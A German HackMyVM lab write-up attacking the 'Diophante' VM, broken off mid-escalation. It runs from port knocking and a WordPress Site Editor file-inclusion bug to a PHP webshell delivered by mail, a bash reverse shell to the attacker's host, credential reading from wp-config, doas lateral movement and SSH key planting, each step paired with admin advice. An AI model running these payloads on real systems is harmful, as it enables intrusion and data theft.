Diophante - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
vi
gobuster
curl
hping3
knock
telnet
wpscan
searchsploit
cat
nc (netcat)
bash
find
doas
setsid
echo
ssh
mutt
sudo
gcc
LD_PRELOAD
unsetenv
setgid
setuid
system
id
cd
ls

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird genutzt, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.

Bewertung: Ein Host mit der IP 192.168.2.147 und der MAC `08:00:27:c7:b4:9b` (PCS Systemtechnik GmbH / VirtualBox) wird entdeckt. Dies ist das Zielsystem "Diophante".

Empfehlung (Pentester): Notieren Sie die IP 192.168.2.147 für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.147	08:00:27:c7:b4:9b	PCS Systemtechnik GmbH

Analyse: Ein erster `nmap`-Scan (`-sS -sC -T5 -A -p-`) wird auf die Ziel-IP durchgeführt.

Bewertung: Der Scan identifiziert zwei offene Ports:

Zusätzlich wird Port 25/tcp (SMTP) als `filtered` angezeigt. Das bedeutet, Nmap konnte nicht definitiv bestimmen, ob der Port offen oder geschlossen ist, wahrscheinlich blockiert eine Firewall die Nmap-Probes, lässt aber möglicherweise legitimen SMTP-Verkehr durch.

Empfehlung (Pentester): Untersuchen Sie den Webserver (Port 80). Behalten Sie SSH (Port 22) im Auge. Notieren Sie den gefilterten Port 25 - er könnte später relevant werden, möglicherweise nach Umgehung einer Firewall oder durch Port Knocking.
Empfehlung (Admin): Stellen Sie sicher, dass Firewalls korrekt konfiguriert sind und nur notwendige Ports freigeben. Untersuchen Sie, warum Port 25 als gefiltert erscheint.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.147 -p-
Starting Nmap 7.93 ( https://nmap.org ) at ...
Nmap scan report for 192.168.2.147
Host is up (0.00011s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT   STATE       SERVICE VERSION
22/tcp open        ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   [...]
80/tcp open        http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
25/tcp filtered    smtp

Nmap done: 1 IP address (1 host up) scanned in ... seconds

Analyse: Die lokale `/etc/hosts`-Datei wird editiert, um einen Hostnamen (`dio.vm`) der Ziel-IP zuzuordnen.

Bewertung: Notwendiger Schritt, um Webdienste auf dem Ziel unter dem Hostnamen `dio.vm` ansprechen zu können.

Empfehlung (Pentester): Verwenden Sie `dio.vm` für weitere Web-Enumeration.
Empfehlung (Admin): Clientseitige Konfiguration.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Hinzugefügte Zeile: 192.168.2.147 dio.vm

Web Enumeration

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://dio.vm` zu finden.

Bewertung: Der Scan findet:

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/note.txt`. Führen Sie einen weiteren `gobuster`-Scan auf `/blog/` durch.
Empfehlung (Admin): Entfernen Sie unnötige Notizdateien vom Webserver.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://dio.vm" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[...]
/index.html           (Status: 200) [Size: 10701]
/blog                 (Status: 301) [Size: 305] [--> http://dio.vm/blog/]
/note.txt             (Status: 200) [Size: 36]
[...]
===============================================================

Analyse: Der Inhalt der gefundenen Datei `/note.txt` wird mit `curl` abgerufen.

Bewertung: Die Notiz enthält die Zahlen `7000 8000 9000` und das Wort `admin`. Dies ist ein starker Hinweis auf Port Knocking. Die Zahlen sind wahrscheinlich die Sequenz der Ports, die "angeklopft" werden müssen, um einen anderen Port (vermutlich den gefilterten Port 25/SMTP) zu öffnen. `admin` könnte ein Benutzername sein.

Empfehlung (Pentester): Verwenden Sie ein Port-Knocking-Tool (z.B. `knockd`, `knock` oder manuell mit `hping3`, `nmap`, `nc`), um die Portsequenz 7000, 8000, 9000 auf dem Ziel `dio.vm` anzuklopfen. Führen Sie anschließend erneut einen Nmap-Scan durch, um zu sehen, ob Port 25 oder andere Ports geöffnet wurden.
Empfehlung (Admin): Port Knocking bietet nur geringe Sicherheit (Security through Obscurity). Wenn es verwendet wird, stellen Sie sicher, dass die Sequenz nicht leicht zu erraten ist und der Dienst, der geöffnet wird, selbst robust abgesichert ist. Besser sind VPNs oder Authentifizierung auf vorgeschalteten Firewalls.

┌──(root㉿cyber)-[~] └─# curl http://dio.vm/note.txt
Don't forget: 7000 8000 9000

admin

Reconnaissance (Port Knocking)

Analyse: `hping3` wird verwendet, um SYN-Pakete an die Ports 7000, 8000 und 9000 zu senden. `-S` setzt das SYN-Flag, `-p` gibt den Port an, `-c 1` sendet nur ein Paket.

Bewertung: Alle drei Ports antworten (`1 packets received`). Dies bestätigt, dass die Ports erreichbar sind, sagt aber noch nichts über den Erfolg des Port Knockings aus. Es ist ein manueller Versuch, die Ports "anzuklopfen".

Empfehlung (Pentester): Verwenden Sie ein dediziertes Tool wie `knock` für eine zuverlässigere Ausführung der Sequenz oder führen Sie direkt nach diesem Versuch einen erneuten Nmap-Scan durch.
Empfehlung (Admin): Überwachen Sie ungewöhnliche Verbindungsversuche auf hohe Portnummern oder in spezifischen Sequenzen.

┌──(root㉿cyber)-[~] └─# for i in {7000,8000,9000}; do hping3 -S 192.168.2.147 -p $i -c 1; done
HPING 192.168.2.147 (eth0 192.168.2.147): S set, 40 headers + 0 data bytes
len=46 ip=192.168.2.147 ttl=64 id=0 sport=7000 flags=SA seq=0 win=65160 rtt=0.3 ms

--- 192.168.2.147 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.3/0.3/0.3 ms
HPING 192.168.2.147 (eth0 192.168.2.147): S set, 40 headers + 0 data bytes
len=46 ip=192.168.2.147 ttl=64 id=0 sport=8000 flags=SA seq=0 win=65160 rtt=0.2 ms

--- 192.168.2.147 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
HPING 192.168.2.147 (eth0 192.168.2.147): S set, 40 headers + 0 data bytes
len=46 ip=192.168.2.147 ttl=64 id=0 sport=9000 flags=SA seq=0 win=65160 rtt=0.3 ms

--- 192.168.2.147 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.3/0.3/0.3 ms

Analyse: Das Tool `knock` wird verwendet, um die Port-Knocking-Sequenz (TCP-Ports 7000, 8000, 9000) an das Ziel `dio.vm` zu senden. `-v` sorgt für eine ausführliche Ausgabe.

Bewertung: Das Tool sendet die Pakete erfolgreich an die spezifizierten Ports. Dies ist die empfohlene Methode für Port Knocking.

Empfehlung (Pentester): Führen Sie unmittelbar nach diesem Befehl einen erneuten Nmap-Scan auf das Ziel durch, um zu überprüfen, ob neue Ports geöffnet wurden (insbesondere Port 25).
Empfehlung (Admin): (Siehe vorherige Empfehlung zu Port Knocking).

┌──(root㉿cyber)-[~] └─# knock dio.vm -v 7000 8000 9000
hitting tcp 192.168.2.147:7000
hitting tcp 192.168.2.147:8000
hitting tcp 192.168.2.147:9000

Analyse: Nach dem Port Knocking wird erneut ein Nmap-Scan durchgeführt.

Bewertung: Das Port Knocking war erfolgreich! Port 25/tcp (SMTP), der zuvor als `filtered` angezeigt wurde, ist nun `open`. Der Dienst wird als Postfix SMTPD identifiziert.

Empfehlung (Pentester): Untersuchen Sie den nun offenen SMTP-Dienst (Port 25). Versuchen Sie, sich mit `telnet` zu verbinden, um verfügbare Befehle (z.B. `VRFY`, `EXPN`) zu testen und Benutzer zu enumerieren.
Empfehlung (Admin): Überprüfen Sie die Sicherheit des SMTP-Servers und die Konfiguration des Port-Knocking-Daemons.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.147 -p-
Starting Nmap ...
Nmap scan report for dio.vm (192.168.2.147)
Host is up (0.00012s latency).
Not shown: ... closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   [...]
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-12-26T17:10:27
|_Not valid after:  2030-12-24T17:10:27
|_ssl-date: TLS randomness does not represent time
[...]
Nmap done: 1 IP address (1 host up) scanned in ... seconds

Web Enumeration (Blog)

Analyse: `gobuster` wird nun gezielt auf das Verzeichnis `/blog` angewendet, das im ersten Scan gefunden wurde.

Bewertung: Der Scan bestätigt eine WordPress-Installation durch Funde wie `/wp-content/`, `/wp-login.php`, `/license.txt`, `/wp-includes/`, `/readme.html`, `/wp-admin/`, `xmlrpc.php` und `/wp-signup.php`. Wichtig ist auch der Hinweis auf die Benutzer-Enumeration über die REST-API: `/wp-json/wp/v2/users`.

Empfehlung (Pentester): Verwenden Sie `wpscan`, um die WordPress-Installation (`http://dio.vm/blog/`) detailliert zu scannen (Version, Themes, Plugins, Benutzer, Schwachstellen). Rufen Sie den `/wp-json/wp/v2/users`-Endpunkt auf, um Benutzernamen zu finden.
Empfehlung (Admin): Halten Sie WordPress (Core, Themes, Plugins) aktuell. Beschränken Sie den Zugriff auf die REST-API, falls nicht benötigt. Deaktivieren Sie die Benutzerregistrierung (`/wp-signup.php`), wenn nicht erforderlich.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://dio.vm/blog" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[...]
/index.php            (Status: 301) [Size: 0] [--> http://dio.vm/blog/]
/wp-content           (Status: 301) [Size: 310] [--> http://dio.vm/blog/wp-content/]
/wp-login.php         (Status: 200) [Size: 8227]
/license.txt          (Status: 200) [Size: 19915]
/wp-includes          (Status: 301) [Size: 311] [--> http://dio.vm/blog/wp-includes/]
/readme.html          (Status: 200) [Size: 8852]
/wp-trackback.php     (Status: 200) [Size: 165]
/wp-admin             (Status: 301) [Size: 308] [--> http://dio.vm/blog/wp-admin/]
/xmlrpc.php           (Status: 405) [Size: 42]
/wp-signup.php        (Status: 302) [Size: 0] [--> http://dio.vm/blog/wp-login.php?action=register]
[...]
===============================================================
Implizit gefunden/bekannt:
http://dio.vm/blog/wp-json/wp/v2/users

Analyse: `wpscan` wird verwendet, um die WordPress-Installation unter `http://dio.vm/blog` (im Befehl steht `http://hard/blog`, dies ist wahrscheinlich ein Tippfehler, `dio.vm` wird angenommen) zu scannen. `-e ap` enumeriert alle Plugins. Ein API-Token wird verwendet.

Bewertung: `wpscan` identifiziert das Theme `twentynineteen`. Wichtiger ist der Fund des Plugins `Site Editor` Version `1.1.1`. Für dieses Plugin wird eine bekannte Local File Inclusion (LFI) Schwachstelle (CVE-2018-7422) gemeldet.

Empfehlung (Pentester): Nutzen Sie die identifizierte LFI-Schwachstelle im Site Editor Plugin. Verwenden Sie `searchsploit` oder die angegebenen Referenzen, um den genauen Exploit-Pfad zu finden und Dateien auf dem Server zu lesen (z.B. `/etc/passwd`, Konfigurationsdateien).
Empfehlung (Admin): Aktualisieren oder entfernen Sie das anfällige "Site Editor"-Plugin sofort.

┌──(root㉿cyber)-[~] └─# wpscan --url http://dio.vm/blog -e ap --no-banner --api-token ...
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[...]
[i] XML-RPC seems to be enabled: http://dio.vm/blog/xmlrpc.php
[...]
[+] WordPress theme in use: twentynineteen
 | Location: http://dio.vm/blog/wp-content/themes/twentynineteen/
 | Last Updated: 2022-09-09T00:00:00.000Z
 | Readme: http://dio.vm/blog/wp-content/themes/twentynineteen/readme.txt
 | Style URL: http://dio.vm/blog/wp-content/themes/twentynineteen/style.css?ver=1.9
 | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom styles...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:07 (1383 / 1383) 100.00%

[i] No plugins found.

[+] Enumerating Config Backups (via Aggressive Methods)

[i] No Config Backups found.

[+] Enumerating Plugins (via Passive and Aggressive Methods)
 Checking Plugin's Known Locations - Time: 00:00:12 (691 / 691) 100.00%

[+] Checking Name: site-editor
 | Found By: Known Locations (Aggressive Detection)
 |  - http://dio.vm/blog/wp-content/plugins/site-editor/, status: 200
 | Confirmed By: Readme - Stable Tag (Aggressive Detection)
 |  - http://dio.vm/blog/wp-content/plugins/site-editor/readme.txt

[!] 1 vulnerability identified:

[!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
 |     References:
 |      - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422
 |      - https://seclists.org/fulldisclosure/2018/Mar/40
 |      - https://github.com/SiteEditor/editor/issues/2
 |
 | Version: 1.1.1 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://dio.vm/blog/wp-content/plugins/site-editor/readme.txt

[...]

Analyse: `searchsploit` wird verwendet, um nach Exploits für "Site Editor wordpress" zu suchen. Der gefundene Exploit (44340.txt) wird mit `-m` in das aktuelle Verzeichnis kopiert und mit `cat` angezeigt.

Bewertung: `searchsploit` findet einen Exploit für die LFI-Schwachstelle. Die Exploit-Datei (44340.txt) enthält den Pfad zur anfälligen PHP-Datei und den zu verwendenden Parameter: `http://[TARGET]/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=[FILEPATH]` Es wird gezeigt, dass `ajax_path=../etc/passwd` fehlschlägt, aber `ajax_path=/etc/passwd` funktioniert und den Inhalt der Passwortdatei preisgibt. Die Benutzer `sabine` (mit `/bin/rbash` - Restricted Bash) und `leonard` (mit `/bin/bash`) werden bestätigt.

Empfehlung (Pentester): Verwenden Sie den LFI-Exploit-Pfad, um weitere sensible Dateien zu lesen (z.B. `/etc/shadow`, `/var/mail/sabine`, `/var/mail/leonard`, WordPress `wp-config.php`).
Empfehlung (Admin): Anfälliges Plugin entfernen/aktualisieren.

┌──(root㉿cyber)-[~] └─# searchsploit Site Editor wordpress
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion   | php/webapps/44340.txt
WordPress Plugin User Role Editor 3.12 - Cross-Site Request | php/webapps/25721.txt
------------------------------------------------------------ ---------------------------------
┌──(root㉿cyber)-[~] └─# searchsploit -m php/webapps/44340.txt
  Exploit: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
  [...]
  Copied to: /root/44340.txt
┌──(root㉿cyber)-[~] └─# cat /root/44340.txt
# Exploit Title: Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion (LFI)
# Date: 2018-03-14
# Exploit Author: Moudi
# Vendor Homepage: https://siteeditor.org/
# Software Link: https://downloads.wordpress.org/plugin/site-editor.1.1.1.zip
# Version: 1.1.1 and below
# Tested on: Windows / Linux

# Vulnerability Details:
# In the file ( ajax_shortcode_pattern.php ) the parameter 'ajax_path' is vulnerable to LFI.
# This can be exploited remotely without the need for authentication.

# POC:
http://localhost/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../wp-config.php

# Test des Exploits (aus Text extrahiert)
http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../etc/passwd
{"success":false,"message":"Error: didn't load shortcodes pattern file"} # Fehlgeschlagen

http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
sabine:x:1000:1000:sabine,,,:/home/sabine:/bin/rbash
leonard:x:1001:1001:,,,:/home/leonard:/bin/bash
[...]
{"success":true,"data":{"output":[]}} # Erfolgreich!

Initial Access (Mail Poisoning & LFI RCE)

Analyse: Nach dem erneuten Port Knocking wird eine Telnet-Verbindung zum nun offenen SMTP-Port (25) aufgebaut. Die SMTP-Befehle `EHLO`, `VRFY sabine`, `VRFY leonard`, `MAIL FROM`, `RCPT TO` und `DATA` werden verwendet, um eine E-Mail von `leonard` an `sabine` zu senden. Der Inhalt der E-Mail ist eine einfache PHP-Webshell: `system($GET["cmd"]); ?>`.

Bewertung: Dies ist ein cleverer Trick, um die LFI-Schwachstelle zur Remote Code Execution (RCE) zu eskalieren (Mail Poisoning / Log Poisoning über Mail).

  1. Die `VRFY`-Befehle bestätigen, dass `sabine` und `leonard` gültige lokale Benutzer sind.
  2. Die E-Mail mit dem PHP-Code im Body wird erfolgreich an `sabine` gesendet (`250 2.0.0 Ok: queued as ...`).
  3. Der Mailserver speichert eingehende E-Mails normalerweise in Dateien unter `/var/mail/` oder `/var/spool/mail/` (z.B. `/var/mail/sabine`).
  4. Wenn nun die Maildatei (`/var/mail/sabine`) über die LFI eingebunden wird, wird der darin enthaltene PHP-Code (`system($GET["cmd"])`) vom Webserver ausgeführt.

Empfehlung (Pentester): Binden Sie die Maildatei von `sabine` über die LFI ein und fügen Sie den `cmd`-Parameter hinzu, um Befehle auszuführen: `http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=id`. Nutzen Sie dies, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Beschränken Sie die Leseberechtigungen für Mail-Spool-Verzeichnisse (`/var/mail`), sodass der Webserver-Benutzer (`www-data`) keinen Zugriff darauf hat. Konfigurieren Sie den SMTP-Server sicher (z.B. `VRFY`/`EXPN` deaktivieren, wenn nicht benötigt).

┌──(root㉿cyber)-[~] └─# knock 192.168.2.128 7000 8000 9000
# IP hier 128, vorher 147? Annahme 147 ist korrekt.
┌──(root㉿cyber)-[~] └─# telnet dio.vm 25
Trying 192.168.2.147...
Connected to dio.vm.
Escape character is '^]'.
220 debian ESMTP Postfix (Debian/GNU)
EHLO dio.vm
250-debian
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
VRFY sabine
252 2.0.0 sabine
VRFY leonard
252 2.0.0 leonard
MAIL FROM:leonard
250 2.1.0 Ok
RCPT TO: sabine
250 2.1.5 Ok
DATA
354 End data with .
subject: hello .
250 2.0.0 Ok: queued as 0F38E80ABD
quit
221 2.0.0 Bye
Connection closed by foreign host.

Analyse: Die LFI-Schwachstelle wird genutzt, um die Maildatei von `sabine` (`/var/mail/sabine`) einzubinden und gleichzeitig den Befehl `whoami` über den `cmd`-Parameter auszuführen.

Bewertung: RCE erfolgreich! Die Ausgabe enthält die Zeilen der E-Mail und dazwischen `www-data` - die Ausgabe des `whoami`-Befehls, der durch die Webshell in der Maildatei ausgeführt wurde. Der Angreifer hat nun Codeausführung als `www-data`.

Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zu erhalten. Starten Sie einen Listener (`nc -lvnp 9001`) und senden Sie den URL-kodierten Reverse-Shell-Payload: `curl 'http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[IHRE_IP]%2F9001%200%3E%261%27'`
Empfehlung (Admin): LFI beheben, Mail-Spool-Berechtigungen prüfen.

┌──(root㉿cyber)-[~] └─# curl 'http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=whoami'
From leonard@debian  Mon Sep 12 23:41:55 2022
Return-Path: 
X-Original-To: sabine
Delivered-To: sabine@debian
Received: from dio.vm (cyber [192.168.2.140])
	by debian (Postfix) with ESMTP id 0F38E80ABD
	for ; Mon, 12 Sep 2022 23:39:57 +0200 (CEST)
subject: hello

www-data

{"success":true,"data":{"output":[]}}

Analyse: Ein Netcat-Listener wird gestartet. Der `curl`-Befehl wird vorbereitet, um die LFI/Mail-Poisoning-Schwachstelle auszunutzen und eine Reverse Shell zu `192.168.2.140:9001` zu senden.

Bewertung: Dies ist der Aufbau zur Erlangung einer interaktiven Shell als `www-data`.

Empfehlung (Pentester): Führen Sie den `curl`-Befehl aus und warten Sie auf die Verbindung im Netcat-Listener.
Empfehlung (Admin): LFI beheben, Mail-Spool-Berechtigungen prüfen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
# Vorbereiteter Befehl für Reverse Shell:
┌──(root㉿cyber)-[~] └─# curl 'http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27'

Analyse: Der Netcat-Listener empfängt die Reverse Shell vom Zielsystem.

Bewertung: Initialer Zugriff erfolgreich! Eine Shell als `www-data` wurde erlangt.

Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit `python3 -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`). Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): LFI beheben, Mail-Spool-Berechtigungen prüfen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 49464 # Annahme: IP 192.168.2.147 ist korrekt
bash: cannot set terminal process group (1986): Inappropriate ioctl for device
bash: no job control in this shell
www-data@diophante:/var/www/html/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes$ 

Privilege Escalation

Analyse: Als `www-data` wird die WordPress-Konfigurationsdatei `wp-config.php` gelesen, um Datenbank-Zugangsdaten zu finden. Anschließend wird nach SUID-Dateien gesucht.

Bewertung: Die `wp-config.php` enthüllt die Zugangsdaten `wpuser`:`wppassword` für die Datenbank `wordpress`. Der `find`-Befehl listet SUID-Dateien auf. Auffällig sind:

Empfehlung (Pentester):

  1. Untersuchen Sie die `doas`-Konfiguration (`/etc/doas.conf`), um zu sehen, welche Befehle `www-data` oder andere Benutzer ausführen dürfen.
  2. Recherchieren Sie nach bekannten Schwachstellen oder Ausnutzungstechniken für SUID `xclip`.
  3. Versuchen Sie die gefundenen DB-Zugangsdaten für andere Dienste oder Benutzer.
Empfehlung (Admin): Entfernen Sie unnötige SUID-Bits, insbesondere von Tools wie `xclip`. Konfigurieren Sie `doas` oder `sudo` sicher und restriktiv. Speichern Sie DB-Passwörter nicht im Klartext in `wp-config.php` (obwohl dies Standard bei WordPress ist).

www-data@diophante:/var/www/html/blog$ cat wp-config.php
[...]
define( 'DB_NAME', 'wordpress' );

/** Utilisateur de la base de données MySQL. */
define( 'DB_USER', 'wpuser' );

/** Mot de passe de la base de données MySQL. */
define( 'DB_PASSWORD', 'wppassword' );
[...]
www-data@diophante:/var/www/html/blog$ find / -type f -perm -4000 -ls 2>/dev/null
   659251     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   671546     32 -rwsr-xr-x   1 leonard  leonard     30736 Dec 26  2020 /usr/bin/xclip
   658779     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   655398     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   674578     40 -rwsr-xr-x   1 root     root        39008 Feb  5  2021 /usr/bin/doas
   655396     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   658926     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   659253     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   655399     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   655395     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   671446    180 -rwsr-xr-x   1 root     root       182600 Feb 27  2021 /usr/bin/sudo
     1993     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   656113    472 -rwsr-xr-x   1 root     root       481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
   666418     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   671561    396 -rwsr-xr--   1 root     dip          403752 Jan  7  2021 /usr/sbin/pppd

Analyse: Basierend auf der `doas`-Konfiguration (die hier nicht gezeigt wird, aber aus LinPEAS stammen könnte) wird der Befehl `doas -u sabine /usr/bin/setsid bash` ausgeführt.

Bewertung: Dies ist der erste Schritt der mehrstufigen Rechteausweitung. `doas` erlaubt `www-data` (oder dem aktuellen Benutzer), Befehle als anderer Benutzer auszuführen. `-u sabine` gibt den Zielbenutzer an. `setsid bash` startet eine neue Bash-Shell in einer neuen Session als Benutzer `sabine`. Der Befehl ist erfolgreich, der Prompt wechselt zu `sabine@diophante`. Lateral Movement von `www-data` zu `sabine` wurde erreicht.

Empfehlung (Pentester): Sie sind nun Benutzer `sabine`. Enumerieren Sie weiter: `sudo -l`, `doas -l`, Home-Verzeichnis prüfen, nach der User-Flag suchen (falls noch nicht gefunden).
Empfehlung (Admin): Überprüfen Sie die `doas.conf` (`/etc/doas.conf`) auf unsichere Regeln. Beschränken Sie die Rechte, die `www-data` über `doas` oder `sudo` erlangen kann.

# Annahme: Linpeas.sh oder cat /etc/doas.conf zeigt:
# permit nopass www-data as sabine cmd /usr/bin/setsid
www-data@diophante:/tmp$ doas -u sabine /usr/bin/setsid bash
sabine@diophante:/tmp$ id
uid=1000(sabine) gid=1000(sabine) groups=1000(sabine), ...

Analyse: Als `sabine` wird ein SSH-Schlüssel in `~/.ssh/authorized_keys` eingefügt, um persistenten SSH-Zugriff zu ermöglichen.

Bewertung: Standardverfahren zur Einrichtung von Schlüssel-basiertem SSH-Zugriff. Der anschließende SSH-Login bestätigt, dass es funktioniert.

Empfehlung (Pentester): Nutzen Sie die SSH-Verbindung für weitere Schritte.
Empfehlung (Admin): Überwachen Sie Änderungen an `authorized_keys`-Dateien.

sabine@diophante:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6iwCfkt5ps5VHhY13FbW1JQh/iNT/vp+xSDB2+bKqnBIO0mFxzD7RFsuRtFyDQuHB4c2q06kSBF/yIaP4PQGW8tEY634DkXFI0Q7h4ll4LCL/rtwvx1CxLqxP+94iPqOXFjdRDquet50njrlslRGLSp+ptQzq23dH9s75gTJOW/KDAcCiuY2noN7WHabsz0XbR3z40NFGCezeYDzYbSnbPtMx5HSAlT/sB3chZWgltVwy96zJ81Vvwd41fsugeMIFxK0+BLxynPGKHBBOd84f11T5OF+Zhw9gMoHhCeAcHjYZ4Wpp3pydZYREPRM5Un+MqxFnEpo7GctIIvi6OYFCjSFUn3ih0udX4q+TeCID4oXrAfgu8YWWvM+w4vF5NedEisAJ2yPoraEyJr//HphqgrpWZnuTx4sHcocJNjPscTdvubuicXr0fqbVtpFWoXj5EzdpdbQA52cMBumJy/IEH5gt2n5gLcIW/zaagH4GyhA5JvMZNgGaULOP1BfCMos=" > authorized_keys
sabine@diophante:~/.ssh$ ls
authorized_keys
# Auf Angreifer-System
┌──(root㉿cyber)-[~] └─# ssh sabine@dio.vm -t "bash --noprofile"
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben)
sabine@diophante:~$ 

Analyse: Als `sabine` wird die `doas`-Konfiguration (`/etc/doas.conf`) überprüft (impliziert). Es wird festgestellt, dass `sabine` den Befehl `mutt` als Benutzer `leonard` ausführen darf. Dieser Befehl wird ausgeführt.

Bewertung: Dies ist der zweite Schritt der Rechteausweitung/Lateral Movement. `mutt` ist ein textbasierter E-Mail-Client, der oft eine Möglichkeit bietet, eine Shell zu starten (Shell Escape). Indem `mutt` als `leonard` gestartet wird, kann `sabine` eine Shell als `leonard` erlangen.

